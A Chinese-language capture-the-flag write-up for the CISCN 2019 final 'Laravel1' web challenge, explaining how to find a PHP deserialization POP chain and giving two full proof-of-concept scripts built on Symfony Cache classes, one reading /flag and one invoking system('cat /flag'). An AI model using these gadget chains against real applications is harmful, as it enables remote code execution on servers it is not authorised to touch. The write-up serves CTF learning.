刷题记录:[CISCN2019 总决赛 Day1 Web4]Laravel1

题目复现链接:https://buuoj.cn/challenges

参考链接:国赛决赛laravel的另一种不完美做法

解题过程

第一次分析这么大量的代码,中途看睡着了好几次,自己搞不出来,看wp跟着走算是弄懂。

首先题目首页给出了提示,告诉我们利用点就是反序列化,问题是要找到pop链。

思路:

  • 1、首先全局搜索__destruct这样的魔术方法
  • 2、看看本类中有没有可控的命令执行命令,如果没有就找有没有那个方法可以调用其他类
  • 3、然后全局搜索能利用的可控函数

看起来思路很简单,但是操作起来是真的头痛,先贴上两个poc,以后这种题接触多了再补。。

<?php
namespace Symfony\Component\Cache{ final class CacheItem{ }
}
namespace Symfony\Component\Cache\Adapter{ use Symfony\Component\Cache\CacheItem;
class PhpArrayAdapter{
private $file;
public function __construct()
{
$this->file = '/flag';
}
} class TagAwareAdapter{
private $deferred = [];
private $pool; public function __construct()
{
$this->deferred = array('flight' => new CacheItem());
$this->pool = new PhpArrayAdapter();
}
}
} namespace { use Symfony\Component\Cache\Adapter\TagAwareAdapter; $obj = new TagAwareAdapter();
echo urlencode(serialize($obj));
}
<?php

namespace Symfony\Component\Cache\Adapter;

class TagAwareAdapter{
public $deferred = array();
function __construct($x){
$this->pool = $x;
}
} class ProxyAdapter{
protected $setInnerItem = 'system';
} namespace Symfony\Component\Cache; class CacheItem{
protected $innerItem = 'cat /flag';
} $a = new \Symfony\Component\Cache\Adapter\TagAwareAdapter(new \Symfony\Component\Cache\Adapter\ProxyAdapter());
$a->deferred = array('aa'=>new \Symfony\Component\Cache\CacheItem);
echo urlencode(serialize($a));

最新文章

  1. 隐私泄露杀手锏 —— Flash 权限反射
  2. tessnet2.Tesseract Init程序退出问题解决
  3. Bzoj2850 巧克力王国
  4. eclipse 导入web项目后,线程假死
  5. PowerVault TL4000 Tape Library 告警:&ldquo;Media Attention&rdquo;
  6. matlab mat文件读取和调用
  7. java BigInteger类的用法
  8. -_-#【CSS3】浏览器前缀
  9. [c#]asp.net开发微信公众平台(3)微信消息封装及反射赋值
  10. 给Array添加删除重复元素函数
  11. ios 添加PCH文件
  12. 【转】HashMap实现原理分析
  13. Spring之循环依赖
  14. 第十三篇 一个安装、管理windows服务的桌面程序
  15. 禁用Ubuntu 15.04登录界面显示客人会话
  16. python中os.path.isdir()函数的使用
  17. 关于delete请求,后台接收不到数据
  18. python使用suds调用webservice接口
  19. 【Java集合的详细研究4】Java中如何遍历Map对象的4种方法
  20. Ubuntu 开机自启动SSH+远程关机

热门文章

  1. SpringBoot配置中@ConfigurationProperties和@Value的区别
  2. Ext.create使用(上)
  3. 140款Android开源优秀项目源码
  4. win10 提示该文件没有与之关联的应用来执行该操作
  5. 10 分钟上手 Vue 组件 Vue-Draggable
  6. Codeforces H. Malek Dance Club(找规律)
  7. 使用python的jira库操作jira的版本单和问题单链接
  8. 摘:J2EE开发环境搭建(1)——安装JDK、Tomcat、Eclipse
  9. selenium常用的API(四)设置get方法最大加载时间
  10. 小程序登录及AppSecret(小程序密钥)